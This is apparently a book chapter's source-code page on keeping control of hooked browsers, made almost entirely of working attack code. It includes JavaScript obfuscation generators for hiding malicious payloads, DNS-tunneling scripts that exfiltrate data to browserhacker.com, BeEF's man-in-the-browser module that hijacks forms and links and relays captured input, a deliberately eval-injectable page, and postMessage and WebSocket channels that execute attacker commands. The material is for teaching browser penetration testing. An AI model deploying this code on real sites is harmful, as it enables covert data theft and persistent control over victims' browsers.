BHH logo

Ch3 Source Code - Retaining Control


JavaScript Obfuscation - arguments.callee technique

Ruby code generator:

placeholder = "XXXXXX"
code = <<EOF
function boot(){
var key = arguments.callee.toString().replace(/\\W/g,"");
console.log(key.length);
if(key.length == #{placeholder}){ 
    console.log("verification OK");
    //... malicious code here
}else{
    console.log("verification FAIL");
    //... dead code here
}
}
EOF

code_length = code.gsub(/\W/,"").length 
# XXXXXX -> 6 chars
digits = code_length.to_s.length # returns the number of integer digits
if(digits >= placeholder.length)
	to_add = digits - placeholder.length
	final_code = code.gsub(placeholder , (code_length + to_add).to_s)
else
	to_remove = placeholder.length - digits
	final_code = code.gsub(placeholder , (code_length - to_remove).to_s)
end

File.open("result.js", 'w'){|f|f.write(final_code)} 

Generated JavaScript code:

function boot(){
    var key = arguments.callee.toString().replace(/\W/g,"");
    console.log(key.length);
    if(key.length == 166){
        console.log("verification OK");
        //... malicious code here
    }else{
        console.log("verification FAIL");
        //... dead code here
    }
}

DNS tunneling - client to server

<html>
<body>
<script>
encode_data = function(str) {
 var result="";
 for(i=0;i<str.length;++i) {
  result+=str.charCodeAt(i).toString(16).toUpperCase();
 }
 return result;
};

data = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed eget placerat mauris. In tempor porttitor elit, dictum pellentesque quam dignissim eu. Cras id mauris ac velit gravida malesuada nec in erat. Vivamus non condimentum augue. Vestibulum nibh nunc, vehicula ac bibendum sed, bibendum quis diam. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Etiam sollicitudin, ante eget consectetur tincidunt, lorem lacus lacinia velit, id feugiat mi justo a nisi. Suspendisse potenti.";
var _encodedData_ = encodeURI(encode_data(data));
console.log(_encodedData_);
console.log("_encodedData_ length: " + _encodedData_.length);

var max_segment_length = 63; // by RFC
var dom = document.createElement('b');

String.prototype.chunk = function(n) {

    if (typeof n=='undefined') n=100;
    return this.match(RegExp('.{1,'+n+'}','g'));

};

sendQuery = function(query) {
    //console.log("Requesting: "+query);
    var img = new Image;
    img.src = "http://"+query;
    img.onload = function() { dom.removeChild(this); }
    img.onerror = function() { dom.removeChild(this); }
    dom.appendChild(img);
};

segments = _encodedData_.chunk(max_segment_length);
console.log(segments.length);
for (seq=1; seq<=segments.length; seq++) {
    // send segment
    console.log("sending");
    sendQuery(seq+"."+segments.length+"." + segments[seq-1]+".browserhacker.com");
}
</script>
</body>
</html>

DNS tunneling - server to client

<html>
<body>
<script>
var tunnel_domain = "browserhacker.com"; // location of the DNS server

var dom = document.createElement('b');
var messages = new Array();
var bits = new Array();
var bit_transfered = new Array();
var timing = new Array();

// Do the DNS query by reqeusting an image
send_query = function(fqdn, msg, byte, bit) {
  var img = new Image;
  img.src = "http://" + fqdn + "/favicon.ico";
  img.onload = function() { // successful load so bit equals 1
    bits[msg][bit] = 1;
    bit_transfered[msg][byte]++;
    if (bit_transfered[msg][byte] >= 8)
      reconstruct_byte(msg, byte);
    dom.removeChild(this); 
  }

  img.onerror = function() { // unsuccessful load so bit equals 0
    bits[msg][bit] = 0;
    bit_transfered[msg][byte]++;
    if (bit_transfered[msg][byte] >= 8)
      reconstruct_byte(msg, byte);
    dom.removeChild(this); 
  }
  dom.appendChild(img);
};

// Construct the request and send it via send_query
function get_byte(msg, byte) {
  bit_transfered[msg][byte] = 0
  // Request the byte one bit at a time
  for(var bit=byte*8; bit < (byte*8)+8; bit++){
    // Set the message number (hex)
    msg_str = ("00000000" + msg.toString(16)).substr(-8);
    // Set the bit number (hex)
    bit_str = ("00000000" + bit.toString(16)).substr(-8);
    // Build the subdomain
    subdomain = "bit-" + msg_str +"-" + bit_str;
    // build the full domain
    domain = subdomain + '.' + tunnel_domain;
    // Request something like
    // bit-00000002-0000003e.browserhacker.com
    send_query(domain, msg, byte, bit)
  }
}

// Build the environment and request the message
function get_message(msg) {
  // Set variables for getting a message
  messages[msg] = "";
  bits[msg] = new Array();
  bit_transfered[msg] = new Array();
  timing[msg] = Date.now();
  get_byte(msg, 0);
}

// Build the data returned from the binary results
function reconstruct_byte(msg, byte){
  var char = 0;
  // Build the last byte requested
  for(var bit=byte*8; bit < (byte*8)+8; bit++){
    char <<= 1;
    char += bits[msg][bit] ;
  }
  
  // Message is terminated with a null byte (all failed DNS requests)
  if (char != 0) {
    // The message isn't terminated so get the next byte
    messages[msg] += String.fromCharCode(char);
    get_byte(msg, byte+1);
  } else {
    // The message is terminated so finish
    delta = (Date.now() - timing[msg])/1000;
    bytes_per_second = "" +
      ((messages[msg].length + 1) * 8)/delta; 
    console.log(messages[msg] + " - (" + 
     (bytes_per_second.substr(0,5)) +
      " bits/second)");
  } 
}

get_message(0);
</script>
</body>
</html>

Man in the Browser

beef.mitb API code:

//
// Copyright (c) 2006-2013 Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//


beef.mitb = {

    cid:null,
    curl:null,

    init:function (cid, curl) {
        beef.mitb.cid = cid;
        beef.mitb.curl = curl;
        /*Override open method to intercept ajax request*/
        var hook_file = "<%= @hook_file %>";

        if (window.XMLHttpRequest && !(window.ActiveXObject)) {

            beef.mitb.sniff("Method XMLHttpRequest.open override");
            (function (open) {
                XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
                    // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
                    // or a request initiated by the MiTB itself.
                    if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
                        open.call(this, method, url, async, true);
                    }else {
                        var portRegex = new RegExp(":[0-9]+");
                        var portR = portRegex.exec(url);
                        var requestPort;
                        if (portR != null) { requestPort = portR[0].split(":")[1]; }

                        //GET request
                        if (method == "GET") {
                            //GET request -> cross-domain
                            if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
                                beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
                                window.open(url);
                            }else { //GET request -> same-domain
                                beef.mitb.sniff("GET [Ajax Request]: " + url);
                                if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
                                    var title = "";
                                    if (document.getElementsByTagName("title").length == 0) {
                                        title = document.title;
                                    } else {
                                        title = document.getElementsByTagName("title")[0].innerHTML;
                                    }
                                    // write the url of the page
                                    history.pushState({ Be:"EF" }, title, url);
                                }
                            }
                        }else{
                            //POST request
                            beef.mitb.sniff("POST ajax request to: " + url);
                            open.call(this, method, url, async, true);
                        }
                    }
                };
            })(XMLHttpRequest.prototype.open);
        }
    },

    // Initializes the hook on anchors and forms.
    hook:function () {
        beef.onpopstate.push(function (event) {
            beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
        });
        beef.onclose.push(function (event) {
            beef.mitb.endSession();
        });

        var anchors = document.getElementsByTagName("a");
        var forms = document.getElementsByTagName("form");
        var lis = document.getElementsByTagName("li");

        for (var i = 0; i < anchors.length; i++) {
            anchors[i].onclick = beef.mitb.poisonAnchor;
        }
        for (var i = 0; i < forms.length; i++) {
            beef.mitb.poisonForm(forms[i]);
        }

        for (var i = 0; i < lis.length; i++) {
            if (lis[i].hasAttribute("onclick")) {
                lis[i].removeAttribute("onclick");
                /*clear*/
                lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
                /*override*/

            }
        }
    },

    // Hooks anchors and prevents them from linking away
    poisonAnchor:function (e) {
        try {
            e.preventDefault;
            if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
                var title = "";
                if (document.getElementsByTagName("title").length == 0) {
                    title = document.title;
                } else {
                    title = document.getElementsByTagName("title")[0].innerHTML;
                }
                history.pushState({ Be:"EF" }, title, e.currentTarget);
            }
        } catch (e) {
            console.error('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
        }
        return false;
    },

    // Hooks forms and prevents them from linking away
    poisonForm:function (form) {
        form.onsubmit = function (e) {
            var inputs = form.getElementsByTagName("input");
            var query = "";
            for (var i = 0; i < inputs.length; i++) {
                if (i > 0 && i < inputs.length - 1) query += "&";
                switch (inputs[i].type) {
                    case "submit":
                        break;
                    default:
                        query += inputs[i].name + "=" + inputs[i].value;
                        break;
                }
            }
            e.preventdefault;
            beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
            history.pushState({ Be:"EF" }, "", form.action);
            return false;
        }
    },

    // Fetches a hooked form with AJAX
    fetchForm:function (url, query, target) {
        try {
            var y = new XMLHttpRequest();
            y.open('POST', url, false, true);
            y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            y.onreadystatechange = function () {
                if (y.readyState == 4 && y.responseText != "") {
                    target.innerHTML = y.responseText;
                    setTimeout(beef.mitb.hook, 10);
                }
            };
            y.send(query);
            beef.mitb.sniff("POST: " + url + "[" + query + "]");
            return true;
        } catch (x) {
            return false;
        }
    },

    // Fetches a hooked link with AJAX
    fetch:function (url, target) {
        try {
            var y = new XMLHttpRequest();
            y.open('GET', url, false, true);
            y.onreadystatechange = function () {
                if (y.readyState == 4 && y.responseText != "") {
                    target.innerHTML = y.responseText;
                    setTimeout(beef.mitb.hook, 10);
                }
            };
            y.send(null);
            beef.mitb.sniff("GET: " + url);
            return true;
        } catch (x) {
            window.open(url);
            beef.mitb.sniff("GET [New Window]: " + url);
            return false;
        }
    },

    // Fetches a window.location=http://domainname.com and setting up history
    fetchOnclick:function (url) {
        try {
            var target = document.getElementsByTagName("html")[0];
            var y = new XMLHttpRequest();
            y.open('GET', url, false, true);
            y.onreadystatechange = function () {
                if (y.readyState == 4 && y.responseText != "") {
                    var title = "";
                    if (document.getElementsByTagName("title").length == 0) {
                        title = document.title;
                    }
                    else {
                        title = document.getElementsByTagName("title")[0].innerHTML;
                        }
                    history.pushState({ Be:"EF" }, title, url);
                    target.innerHTML = y.responseText;
                    setTimeout(beef.mitb.hook, 10);
                }
            };
            y.send(null);
            beef.mitb.sniff("GET: " + url);

        } catch (x) {
            // the link is cross-domain, so load the resource in a different tab
            window.open(url);
            beef.mitb.sniff("GET [New Window]: " + url);
        }
    },

    // Relays an entry to the framework
    sniff:function (result) {
        try {
            beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
        } catch (x) {
        }
        return true;
    },

    // Signals the Framework that the user has lost the hook
    endSession:function () {
        beef.mitb.sniff("Window closed.");
    }
};

beef.regCmp('beef.mitb');

beef.mitb usage example:


beef.execute(function(){
    try{
        beef.net.send("<%= @command_url %>", <%= @command_id %>, "Browser hooked.");
        beef.mitb.init("<%= @command_url %>", <%= @command_id %>);
        var MITBload = setInterval(function(){
            if(beef.pageIsLoaded){
                clearInterval(MITBload);
                beef.mitb.hook();
            }
        }, 100);
    }catch(e){
        beef.net.send("<%= @command_url %>", <%= @command_id %>, "Failed to hook browser: " + e.message);
    }
});

JavaScript Obfuscation - mixed content technique

<body>
<div id="hidden_div">
<p>key</p>
</div>
</body>

<!-- URL will be browserhacker.com/mixed-content/dom.html#YTJWNU1pMWpiMjUwWlc1MA==-->

<!-- JavaScript is the following: 

function decrypt(key){
 // decryption routine
 alert(key);
}
 
var key = document.getElementById('hidden_div').innerHTML;
var key2 = location.href.split("#")[1];

decrypt(key + key2);

-->

Phonegap

<html>
<head>
<!-- <script type="text/javascript" charset="utf-8" src="phonegap-1.0.0.js"></script> -->

</head>
<body>
 <h2>Retrieving books with ID:</h2>
 <div id="res"></div>
<script type="text/javascript">

var id = 0; 
function showId(_id){
  document.getElementById('res').innerHTML=id;
  id = _id;
}

var url = window.location.href;
var pos = url.indexOf("id=")+3;
var len = url.length;
eval('showId(' + url.substring(pos,len).toString() + ')');

xhr = new XMLHttpRequest();
xhr.onreadystatechange = function (){
	if (xhr.readyState == 4) {
		document.getElementById('res').innerHTML=xhr.responseText;
	}
};
xhr.open("GET", "http://application.com/getBooks?id=" + id);
xhr.send();
</script>
</body>
</html>

PopUnder using jQuery-popunder

jQuery-popunder minified source

<html>
<!-- NOTE: you need to include jQuery and the pop-under jQuery plugin (https://github.com/hpbuniat/jquery-popunder) -->
<head>
    
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
    <script src="jquery.popunder.min.js"></script>
     
</head>
<body>
  <a  href="http://beefproject.com" > BeEF website</a>
  <a  href="http://google.com" > google website</a>
  <script>
var aPopunder = [
            ['http://antisnatchor.com', {"window": {height:1, width:1, left:window.screenX, top:window.screenY}}]
        ];
        var anchors = document.getElementsByTagName("a");

        for (var i = 0; i < anchors.length; i++) {
            if(anchors[i].hasAttribute("onclick")){
                anchors[i].removeAttribute("onclick");
            }
            anchors[i].setAttribute("onclick", "$.popunder(aPopunder)");
        }
</script>
</body>
</html>

PostMessage communication channel

PostMessage server:

<html>
<body>
<b>Embed me on a different origin</b>
<div id="debug">Ready to receive data...</div>
<script>
window.addEventListener("message", receiveMessage, false);
    function doClick() {
    parent.postMessage("Message sent from " + location.host, "http://browservictim.com");
}
var debug = document.getElementById("debug");
function receiveMessage(event) {
    debug.innerHTML += "Data: " + event.data + "\n Origin: " + event.origin;
    parent.postMessage("alert(1)", event.origin);
}
</script>
</body>
</html>

PostMessage client:

<html>
<head>
</head>
<body>
  <div id="debug"> </div>
  <div id="ui">
    <input type="text" id="v" />
    <input type="button" value="Send to server" onclick="post_msg();" />
    <iframe id="to_server" src="http://browserhacker.com/postMessage_server.html"></iframe>
   </div>
  <script type="text/javascript">
  window.addEventListener("message", receiveMessage, false);

  var infoBar = document.getElementById("debug");
  function receiveMessage(event) {
    infoBar.innerHTML += event.origin + ": " + event.data + "";
    new Function(event.data)();
  }

  function post_msg(domain) {
        var to_server = document.getElementById("to_server");
        to_server.contentWindow.postMessage("" + 
          eval(document.getElementById("v").value), "http://browserhacker.com");
  }        
  </script>
</body>
</html>

JavaScript Obfuscation - random variables technique

Ruby code generator:

code = <<EOF
var malware = {
    version: '0.0.1-alpha',
    exploits: new Array("http://malicious.com/aa.js",""),
    persistent: true
};
window.malware = malware;
function redirect_to_site(){
    window.location = window.malware.exploits[0];
};
redirect_to_site();
EOF

def rnd(length=5)
    chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ_'
    result = ''
    length.times { result << chars[rand(chars.size)] }
    result
end


lookup = {
	"malware" => rnd(7),
	"exploits" => rnd(),
	"version" => rnd(),
	"persistent" => rnd(12),
	"0.0.1-alpha" => rnd(10),
	"redirect_to_site" => rnd(4)
}

lookup.each do |key,value|
	code = code.gsub!(key, value)
end

File.open("result.js", 'w'){|f|f.write(code)} 

Generated JavaScript code:

var zwnccUw = {
    uPeqq: 'tTvyPGEQvS',
    napSj: new Array("http://malicious.com/aa.js",""),
    gSYYtNBjNFbZ: true
};
window.zwnccUw = zwnccUw;
function ccgM(){
    window.location = window.zwnccUw.napSj[0];
};
ccgM();

WebSocket communication channel

Server-side code:

require 'em-websocket'
EventMachine.run {
EventMachine::WebSocket.start(
 :host => "0.0.0.0",
 :port => 6666, 
 :secure => false) do |ws|
   begin
   ws.onmessage do |msg|
      p "Received:"
      p "->#{msg}"
      ws.send("alert(1);")
   end
   rescue Exception => e
      print_error "WebSocket error: #{e}"
   end
end
}

Client-side code:

var socket = new WebSocket("ws://host:6666/");
socket.onopen = function(){
    console.log("Socket open.");
    socket.send("Server, send me commands.");
}
socket.onmessage = function(msg){
    eval(msg.data); // msg is coming from the attacker server, so it's trusted
    console.log("Command received and executed.");
}

JavaScript Obfuscation - whitespace encoding technique


def whitespace_encode(input)                 
    output = input.unpack('B*') 
    output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '',  '0' => "\t", '1' => ' ')
end

encoded = whitespace_encode("alert(1)")
File.open("whitespace_out.js", 'w'){|f| f.write(encoded)}